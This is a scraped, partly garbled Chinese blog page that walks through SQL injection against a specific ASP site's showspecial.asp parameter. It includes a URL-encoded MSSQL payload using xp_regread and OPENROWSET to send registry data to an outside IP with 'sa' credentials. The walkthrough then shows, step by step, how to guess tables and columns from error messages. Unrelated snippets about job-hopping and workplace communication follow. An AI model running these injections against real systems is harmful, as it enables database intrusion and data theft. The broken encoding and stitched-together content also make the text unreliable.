SQL注入漏洞,攻防必殺技!

2021-07-06 06:30:19 字數 2231 閱讀 1897

%29%20%65%78%65%63%20%

6d%61%73%74%65%72%2e%64%62%6f%2e%78%70%5f%72%65%67%72%65%61%64%20%27%48%4b%45%59%5f%4c%4f%43

%41%4c%5f%4d%41%43%48%

49%4e%45%27%2c%27%53%59%53%54%45%4d%5c%43%4f%4e%54%52%4f%4c%53%65%74%30%30%31%5c%53%65%72%76

%69%63%65%73%5c%57%33%

53%56%43%5c%50%61%72%61%6d%65%74%65%72%73%5c%56%69%72%74%75%61%6c%20%52%6f%6f%74%73%27%2c%20

%27%2f%27%20%2c%40%72%

65%73%75%6c%74%20%6f%75%74%70%75%74%20%69%6e%73%65%72%74%20%69%6e%74%6f%20%6c%61%6f%6b%61%69

%20%28%63%68%61%38%29%

20%76%61%6c%75%65%73%28%27%53%45%4c%45%43%54%20%61%2e%2a%20%46%52%4f%4d%20%4f%50%45%4e%52%4f

%57%53%45%54%28%27%27%

53%51%4c%4f%4c%45%44%42%27%27%2c%27%27%3f%3f%49%50%27%27%3b%27%27%73%61%27%27%3b%27%27%3f%3f

%27%27%2c%20%27%27%53%

45%4c%45%43%54%20%2a%20%46%52%4f%4d%20%70%75%62%73%2e%64%62%6f%2e%61%75%74%68%6f%72%73%20%77

%68%65%72%65%20%61%75%

5f%66%6e%61%6d%65%3d/33.shtml』 target=』_blank』

/showspecial.asp?specialid=1817;use master;–

注:–的作用是注釋掉程式中後面的sql語句,以防對我們構造的語句有影響,比如order by..

出現 microsoft ole db provider for sql server 錯誤 80040e21

多步 ole db 操作產生錯誤。如果可能,請檢查每個 ole db 狀態值。沒有工作被完成。

/showspecial.asp,行13

想在他的資料庫裡增加乙個管理員是不可能了,我們再換一種方法

2、提交http://**/showspecial.asp?specialid=1817 and 1<>(select count(id) from

[user])

這一句的意思是猜猜看是不是存在乙個名為user的表和他裡面有沒有id這個字段

一般來說:

如果不存在該錶的話,會出現

microsoft ole db provider for sql server 錯誤 80040e37

物件名 user 無效。

/showspecial.asp,行13

不存在該欄位的話,會出現

microsoft ole db provider for sql server 錯誤 80040e14

列名 id 無效。

/showspecial.asp,行13

注:一般來說,第一步是猜一些公共的表,這裡所指的公共表的意思是大多數的程式設計師在寫設計資料庫結構的時候會用到的常用的表和字段,比如新聞的news表中的編號欄位id,標題欄位title,使用者表user或者user_data中的編號欄位id,使用者名字段username,當然你也可以在該站點的登陸介面看他的原**,找到使用者名稱和密碼的表單的name值,那個也經常會是表欄位名的真實值,如

很幸運,果然存在user表和id欄位

3、通過提交http://**/showspecial.asp?specialid=1817 and 1<>(select count(username)

from [user])

這裡的username是根據登陸框的表單名去猜的,恰好存在該欄位。於是在該站註冊了乙個使用者名為rrrrr的使用者,作為注入的平台,得到我的使用者名稱的id值103534

4、繼續猜下去,這裡我還是利用的他程式中的表單名,提交:

SQL注入漏洞攻防必殺技

sql注入不完全思路與防注入程式 一 sql注入簡介 許多 程式在編寫時,沒有對使用者輸入資料的合法性進行判斷,使應用程式存在安全隱患。使用者可 以提交一段資料庫查詢 一般是在瀏覽器位址列進行,通過正常的www埠訪問 根據程式返回的結 果,獲得某些他想得知的資料,這就是所謂的sql injectio...

拯救頻繁跳槽的必殺技!

對於任何乙個公司而言,員工的不穩定是最大的隱患,這不僅導致公司招聘成本的增加,也破壞了工作的延續性。所以在面試過程中,公司也會特別關注應聘者的跳槽頻率。我對於頻繁跳槽的人並沒有太多的鄙夷。很多任務作在應聘時是看不出好壞的。就像公司對新錄用的員工有乙個所謂的試用期,那麼員工也可以在 試用期 後因為自己...

職場必殺技之有效溝通

作為理工科畢業的學生,溝通方面的能力相比於經管文史類學生而言要差一些。當然,也有很多具有出色溝通能力的人,我說的一般情況。我工作之前,根本就沒有把溝通作為一種特別的技能來訓練,簡單把說話和溝通等價了。這也導致我在以後的工作中吃盡了苦頭,我希望即將走入職場的理工科學生能夠在進入職場前培養這種能力,這就...